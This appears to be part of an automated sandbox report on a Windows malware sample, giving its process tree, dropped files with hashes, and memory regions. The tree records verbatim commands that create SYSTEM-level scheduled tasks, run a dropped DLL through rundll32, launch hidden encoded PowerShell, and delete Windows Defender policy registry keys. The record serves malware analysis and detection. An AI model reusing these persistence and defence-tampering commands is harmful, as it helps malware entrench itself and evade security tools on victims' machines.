                                                                                                            schtasks /run /I /tn "ggvloODYc"
                                                                                                            2⤵
                                                                                                              PID:2784
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /DELETE /F /TN "ggvloODYc"
                                                                                                              2⤵
                                                                                                                PID:3580
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "DuClAenKXsnLJmqPx" /SC once /ST 10:15:04 /RU "SYSTEM" /TR "\"C:\Windows\Temp\NXrxyQXzvaGsPkvU\ZWONPbPqGtUuzIi\mESSBHJ.exe\" 0v /site_id 525403 /S" /V1 /F
                                                                                                                2⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                • Creates scheduled task(s)
                                                                                                                PID:4712
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /run /I /tn "DuClAenKXsnLJmqPx"
                                                                                                                2⤵
                                                                                                                  PID:4316
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                1⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:3884
                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                  2⤵
                                                                                                                    PID:4024
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                  1⤵
                                                                                                                    PID:4184
                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                    1⤵
                                                                                                                      PID:400
                                                                                                                    • C:\Windows\Temp\NXrxyQXzvaGsPkvU\ZWONPbPqGtUuzIi\mESSBHJ.exe
                                                                                                                      C:\Windows\Temp\NXrxyQXzvaGsPkvU\ZWONPbPqGtUuzIi\mESSBHJ.exe 0v /site_id 525403 /S
                                                                                                                      1⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Checks computer location settings
                                                                                                                      • Drops Chrome extension
                                                                                                                      • Drops desktop.ini file(s)
                                                                                                                      • Drops file in System32 directory
                                                                                                                      • Drops file in Program Files directory
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:2588
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /DELETE /F /TN "bBVaIzlnDmCfZYJVPe"
                                                                                                                        2⤵
                                                                                                                          PID:2220
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                          2⤵
                                                                                                                            PID:1712
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:1168
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                              2⤵
                                                                                                                                PID:3772
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:4368
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\mqfvheApU\qhHJLA.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "eZgChYDwGbbYgSu" /V1 /F
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:520
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "eZgChYDwGbbYgSu2" /F /xml "C:\Program Files (x86)\mqfvheApU\PqkQgQf.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:640
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /END /TN "eZgChYDwGbbYgSu"
                                                                                                                                  2⤵
                                                                                                                                    PID:2452
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /DELETE /F /TN "eZgChYDwGbbYgSu"
                                                                                                                                    2⤵
                                                                                                                                      PID:588
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "qWwjMiaoxjjIRF" /F /xml "C:\Program Files (x86)\jZdENHYzeJUU2\OmYYWCb.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:1292
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "GtkPqdUSiWGYJ2" /F /xml "C:\ProgramData\uUuIEpjQmOkIjOVB\gEUxFRD.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:1560
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "XQSoncDDbOygaFDJM2" /F /xml "C:\Program Files (x86)\cOXxRtOgsBQTudXDiqR\eXRSKzR.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:428
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "vxWTuDxrONzdPqwrJXJ2" /F /xml "C:\Program Files (x86)\oirXTeRhkXgiC\PiRxAhe.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:1524
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "uBWNrLciBITPeRMHa" /SC once /ST 13:46:54 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\NXrxyQXzvaGsPkvU\FbwIhSSc\MIsMAXN.dll\",#1 /site_id 525403" /V1 /F
                                                                                                                                      2⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:3844
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /run /I /tn "uBWNrLciBITPeRMHa"
                                                                                                                                      2⤵
                                                                                                                                        PID:4484
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                        2⤵
                                                                                                                                          PID:3764
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:1744
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                            2⤵
                                                                                                                                              PID:3840
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:3856
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /DELETE /F /TN "DuClAenKXsnLJmqPx"
                                                                                                                                                2⤵
                                                                                                                                                  PID:400
                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\NXrxyQXzvaGsPkvU\FbwIhSSc\MIsMAXN.dll",#1 /site_id 525403
                                                                                                                                                1⤵
                                                                                                                                                  PID:2972
                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\NXrxyQXzvaGsPkvU\FbwIhSSc\MIsMAXN.dll",#1 /site_id 525403
                                                                                                                                                    2⤵
                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                    PID:1304
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /DELETE /F /TN "uBWNrLciBITPeRMHa"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:4824

                                                                                                                                                  Network

                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  • C:\Program Files (x86)\cOXxRtOgsBQTudXDiqR\eXRSKzR.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    b605aab1f9cdc77d1ef350f831a4db1b

                                                                                                                                                    SHA1

                                                                                                                                                    3c1cb5f75d09dd7f94e75c78f416cd898ce59a26

                                                                                                                                                    SHA256

                                                                                                                                                    a98ba10c0e0463a7d26f3e2e4fa8a908cc7c5bbcddcb01928ef7da7a9af360a6

                                                                                                                                                    SHA512

                                                                                                                                                    b6aa37d403256f8215e7460ebdb4c8b32af090c3e12be5fee65e75b679e924b59ca3fabcb78920973b192b7aebaa29a1d9ef36eb47df23db122cf1c18d3ff2db

                                                                                                                                                  • C:\Program Files (x86)\jZdENHYzeJUU2\OmYYWCb.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    487814647b18e2465e70c2ce39fd161e

                                                                                                                                                    SHA1

                                                                                                                                                    e7989a29e7030864be8102d3e3398fb2e5ad1a8f

                                                                                                                                                    SHA256

                                                                                                                                                    6b0f422fa807a4cf25558181c58b22e2ab8142482a268656db9c06ac1f99ddcd

                                                                                                                                                    SHA512

                                                                                                                                                    5a1356fb64d6be464665d60d1f9149da64a08447d5814440ad7c8c9cae02a385acbc09965797930a1edb8c04d93c8ed48281173200eaeb0261b60c23edaa2324

                                                                                                                                                  • C:\Program Files (x86)\mqfvheApU\PqkQgQf.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    418c8e6d03aafc6dbe8676a8ccc0cbb2

                                                                                                                                                    SHA1

                                                                                                                                                    f0c178887eff8b29bf7fb7f479dc7744c313d319

                                                                                                                                                    SHA256

                                                                                                                                                    4f8c65f0c35799176146bca0189ec280a0ac8171dc4858d8bff1643d1bdf5452

                                                                                                                                                    SHA512

                                                                                                                                                    6ae630d307571c99b59fb6ce939e6e03e0e717ab2d8f5a5ef48aa218f6740b1448a0859f2b7c34f9473c0db23e62f2d49c1adc7ab25dbf51ccf1e071775ac1d1

                                                                                                                                                  • C:\Program Files (x86)\oirXTeRhkXgiC\PiRxAhe.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    e2f10dbb913fc449f6b07741b3dc406e

                                                                                                                                                    SHA1

                                                                                                                                                    f10ae714144d22eef06f5de3432ff3b461066eea

                                                                                                                                                    SHA256

                                                                                                                                                    14a97b6d549677458095a46d5e223e22a46d5332e665bf8b149d4637d83017fc

                                                                                                                                                    SHA512

                                                                                                                                                    0c65237a0a533c4956f439d0046725ed8a3dc2855c3a853d90c4be204b65312a0941dd9d8f1e91022bd42d65f6630e02aea8bd8f89e89d92c44b66de1edd5251

                                                                                                                                                  • C:\ProgramData\uUuIEpjQmOkIjOVB\gEUxFRD.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    17b3ba283ad9e242caa9f1b86bb3d356

                                                                                                                                                    SHA1

                                                                                                                                                    767109a4085c7343452a988d27994689d1939c3b

                                                                                                                                                    SHA256

                                                                                                                                                    14803f8b533e4c0b9b6198b96b69b2b70fa26b5854e3165fe844590dabfa2112

                                                                                                                                                    SHA512

                                                                                                                                                    490f87028c1057a95042da32904bd43d9c523ac8cf461a0e5c1e59a73bcd8dca81b44a450e6f5d128e6ae9c242eb59e696e15a40dd0950beaa4538aebccc09a8

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    6cf293cb4d80be23433eecf74ddb5503

                                                                                                                                                    SHA1

                                                                                                                                                    24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                                                                                    SHA256

                                                                                                                                                    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                                                                                    SHA512

                                                                                                                                                    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                    Filesize

                                                                                                                                                    64B

                                                                                                                                                    MD5

                                                                                                                                                    50a8221b93fbd2628ac460dd408a9fc1

                                                                                                                                                    SHA1

                                                                                                                                                    7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

                                                                                                                                                    SHA256

                                                                                                                                                    46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

                                                                                                                                                    SHA512

                                                                                                                                                    27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS6798.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    e60f77d7ccc8e44b78e7f25e97f0a85e

                                                                                                                                                    SHA1

                                                                                                                                                    d78ad703a92a792d10cef5b8bd9867866af8a5f0

                                                                                                                                                    SHA256

                                                                                                                                                    f007ecddc7787ce8c52fc195bd855d3dc36c93bb8d4f99eb745064d0bf956d3c

                                                                                                                                                    SHA512

                                                                                                                                                    440a5f713b4c03530dc0b4068ad68c23c80277804971830465a97a08b8dd821881a027d7855ea2f6651e74c60d903f2bdf332cb1ef8c71561f102098f82d6504

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS6798.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    e60f77d7ccc8e44b78e7f25e97f0a85e

                                                                                                                                                    SHA1

                                                                                                                                                    d78ad703a92a792d10cef5b8bd9867866af8a5f0

                                                                                                                                                    SHA256

                                                                                                                                                    f007ecddc7787ce8c52fc195bd855d3dc36c93bb8d4f99eb745064d0bf956d3c

                                                                                                                                                    SHA512

                                                                                                                                                    440a5f713b4c03530dc0b4068ad68c23c80277804971830465a97a08b8dd821881a027d7855ea2f6651e74c60d903f2bdf332cb1ef8c71561f102098f82d6504

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS6AB5.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    7.0MB

                                                                                                                                                    MD5

                                                                                                                                                    063f99238d2d16bef51e3043b4084a3d

                                                                                                                                                    SHA1

                                                                                                                                                    9c5afcd4dce0b98752ff5e61d4004e0109846e4d

                                                                                                                                                    SHA256

                                                                                                                                                    645ef36ccdf9e88303584b0ee9da5946fcdf4e0434507054abfd1498b51cf98e

                                                                                                                                                    SHA512

                                                                                                                                                    ae1e1d7d5cb03aa6b4d1907793b95f97d8062503ca890fd685a8f6ad31878f3239d9827be69b3c9316ae6865803952917ac08aa36bc1d2d0f6bd2afa506cf787

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS6AB5.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    7.0MB

                                                                                                                                                    MD5

                                                                                                                                                    063f99238d2d16bef51e3043b4084a3d

                                                                                                                                                    SHA1

                                                                                                                                                    9c5afcd4dce0b98752ff5e61d4004e0109846e4d

                                                                                                                                                    SHA256

                                                                                                                                                    645ef36ccdf9e88303584b0ee9da5946fcdf4e0434507054abfd1498b51cf98e

                                                                                                                                                    SHA512

                                                                                                                                                    ae1e1d7d5cb03aa6b4d1907793b95f97d8062503ca890fd685a8f6ad31878f3239d9827be69b3c9316ae6865803952917ac08aa36bc1d2d0f6bd2afa506cf787

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RlgiSPEiYzcGRNSBh\jSMZhbudGlAqnod\wyWyXiK.exe

                                                                                                                                                    Filesize

                                                                                                                                                    7.0MB

                                                                                                                                                    MD5

                                                                                                                                                    063f99238d2d16bef51e3043b4084a3d

                                                                                                                                                    SHA1

                                                                                                                                                    9c5afcd4dce0b98752ff5e61d4004e0109846e4d

                                                                                                                                                    SHA256

                                                                                                                                                    645ef36ccdf9e88303584b0ee9da5946fcdf4e0434507054abfd1498b51cf98e

                                                                                                                                                    SHA512

                                                                                                                                                    ae1e1d7d5cb03aa6b4d1907793b95f97d8062503ca890fd685a8f6ad31878f3239d9827be69b3c9316ae6865803952917ac08aa36bc1d2d0f6bd2afa506cf787

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RlgiSPEiYzcGRNSBh\jSMZhbudGlAqnod\wyWyXiK.exe

                                                                                                                                                    Filesize

                                                                                                                                                    7.0MB

                                                                                                                                                    MD5

                                                                                                                                                    063f99238d2d16bef51e3043b4084a3d

                                                                                                                                                    SHA1

                                                                                                                                                    9c5afcd4dce0b98752ff5e61d4004e0109846e4d

                                                                                                                                                    SHA256

                                                                                                                                                    645ef36ccdf9e88303584b0ee9da5946fcdf4e0434507054abfd1498b51cf98e

                                                                                                                                                    SHA512

                                                                                                                                                    ae1e1d7d5cb03aa6b4d1907793b95f97d8062503ca890fd685a8f6ad31878f3239d9827be69b3c9316ae6865803952917ac08aa36bc1d2d0f6bd2afa506cf787

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                    Filesize

                                                                                                                                                    1KB

                                                                                                                                                    MD5

                                                                                                                                                    33b19d75aa77114216dbc23f43b195e3

                                                                                                                                                    SHA1

                                                                                                                                                    36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                                                                                                                                    SHA256

                                                                                                                                                    b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                                                                                                                                    SHA512

                                                                                                                                                    676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                    Filesize

                                                                                                                                                    11KB

                                                                                                                                                    MD5

                                                                                                                                                    d9cc21ea88b5d370866769f3b58be5b1

                                                                                                                                                    SHA1

                                                                                                                                                    befa4d153d7c5bcc558086c2377260acee9383b0

                                                                                                                                                    SHA256

                                                                                                                                                    fe551a67a349bd8f32ddd7951dd065fbb7c77f3fdbfedb8adc344e7c49be5bb3

                                                                                                                                                    SHA512

                                                                                                                                                    4da2ad3f9b5346c91551937a9ab78b9c92b54fd6aa661627e1797bc97b2b22bc7b96ae65dc87630049048a11eff7347971acd28f544c22b78b67e9d69039e41f

                                                                                                                                                  • C:\Windows\Temp\NXrxyQXzvaGsPkvU\FbwIhSSc\MIsMAXN.dll

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    ebd042815345b4edd4adb81af9899f0b

                                                                                                                                                    SHA1

                                                                                                                                                    12a3d8ae4913602ae049c955cfe6797f76ad8a3d

                                                                                                                                                    SHA256

                                                                                                                                                    4b39f5f499fc1c126f4db1a4db1ff4ad0b345adc5654c28a691b15adf8d764d2

                                                                                                                                                    SHA512

                                                                                                                                                    0e3db0d73a47a4812f09f3b3dcc71f29a7fb6af936ef46679ddd400c8ac45b79c8c55e0d7c6b352138bd4492a53a50390f1a203ba45fb881761e4ec933123e39

                                                                                                                                                  • C:\Windows\Temp\NXrxyQXzvaGsPkvU\FbwIhSSc\MIsMAXN.dll

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    ebd042815345b4edd4adb81af9899f0b

                                                                                                                                                    SHA1

                                                                                                                                                    12a3d8ae4913602ae049c955cfe6797f76ad8a3d

                                                                                                                                                    SHA256

                                                                                                                                                    4b39f5f499fc1c126f4db1a4db1ff4ad0b345adc5654c28a691b15adf8d764d2

                                                                                                                                                    SHA512

                                                                                                                                                    0e3db0d73a47a4812f09f3b3dcc71f29a7fb6af936ef46679ddd400c8ac45b79c8c55e0d7c6b352138bd4492a53a50390f1a203ba45fb881761e4ec933123e39

                                                                                                                                                  • C:\Windows\Temp\NXrxyQXzvaGsPkvU\ZWONPbPqGtUuzIi\mESSBHJ.exe

                                                                                                                                                    Filesize

                                                                                                                                                    7.0MB

                                                                                                                                                    MD5

                                                                                                                                                    063f99238d2d16bef51e3043b4084a3d

                                                                                                                                                    SHA1

                                                                                                                                                    9c5afcd4dce0b98752ff5e61d4004e0109846e4d

                                                                                                                                                    SHA256

                                                                                                                                                    645ef36ccdf9e88303584b0ee9da5946fcdf4e0434507054abfd1498b51cf98e

                                                                                                                                                    SHA512

                                                                                                                                                    ae1e1d7d5cb03aa6b4d1907793b95f97d8062503ca890fd685a8f6ad31878f3239d9827be69b3c9316ae6865803952917ac08aa36bc1d2d0f6bd2afa506cf787

                                                                                                                                                  • C:\Windows\Temp\NXrxyQXzvaGsPkvU\ZWONPbPqGtUuzIi\mESSBHJ.exe

                                                                                                                                                    Filesize

                                                                                                                                                    7.0MB

                                                                                                                                                    MD5

                                                                                                                                                    063f99238d2d16bef51e3043b4084a3d

                                                                                                                                                    SHA1

                                                                                                                                                    9c5afcd4dce0b98752ff5e61d4004e0109846e4d

                                                                                                                                                    SHA256

                                                                                                                                                    645ef36ccdf9e88303584b0ee9da5946fcdf4e0434507054abfd1498b51cf98e

                                                                                                                                                    SHA512

                                                                                                                                                    ae1e1d7d5cb03aa6b4d1907793b95f97d8062503ca890fd685a8f6ad31878f3239d9827be69b3c9316ae6865803952917ac08aa36bc1d2d0f6bd2afa506cf787

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                    Filesize

                                                                                                                                                    5KB

                                                                                                                                                    MD5

                                                                                                                                                    86665084f7cf2257870b18ba88d65600

                                                                                                                                                    SHA1

                                                                                                                                                    8eee69b6b79bc4a06c4bad6d3de3ee2ed9ddeedf

                                                                                                                                                    SHA256

                                                                                                                                                    10a000813fcf7107494c9de4d56067dfc4a1694fa5e4474d7ace6d463b668326

                                                                                                                                                    SHA512

                                                                                                                                                    53c5fcac803fca024982799c2bbc849d5308bb9999e8274edfea8301ef3009c18d02523a420f13912fc945abbb9d3ff5de5985c057807abf4bcf0b2539167072

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                    Filesize

                                                                                                                                                    268B

                                                                                                                                                    MD5

                                                                                                                                                    a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                    SHA1

                                                                                                                                                    1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                    SHA256

                                                                                                                                                    9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                    SHA512

                                                                                                                                                    9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                  • memory/1304-249-0x0000000001F50000-0x00000000035BB000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    22.4MB

                                                                                                                                                  • memory/1780-151-0x0000028C68860000-0x0000028C68882000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/1780-153-0x00007FF883AD0000-0x00007FF884591000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2588-232-0x000000001E310000-0x000000001E376000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/2588-246-0x000000001EAB0000-0x000000001EB6B000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    748KB

                                                                                                                                                  • memory/2588-225-0x000000001BC80000-0x000000001D2EB000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    22.4MB

                                                                                                                                                  • memory/2588-242-0x000000001EA30000-0x000000001EAA7000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    476KB

                                                                                                                                                  • memory/2588-228-0x000000001DC00000-0x000000001DC85000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    532KB

                                                                                                                                                  • memory/2936-158-0x000000001CBD0000-0x000000001E23B000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    22.4MB

                                                                                                                                                  • memory/3884-220-0x00007FF883AD0000-0x00007FF884591000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/3884-218-0x00007FF883AD0000-0x00007FF884591000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/4400-166-0x0000000004300000-0x0000000004366000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/4400-162-0x00000000033A0000-0x00000000033D6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    216KB

                                                                                                                                                  • memory/4400-167-0x00000000049B0000-0x00000000049CE000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    120KB

                                                                                                                                                  • memory/4400-163-0x0000000003A30000-0x0000000004058000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                  • memory/4400-164-0x00000000040C0000-0x00000000040E2000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/4400-165-0x0000000004160000-0x00000000041C6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/4860-138-0x000000001D300000-0x000000001E96B000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    22.4MB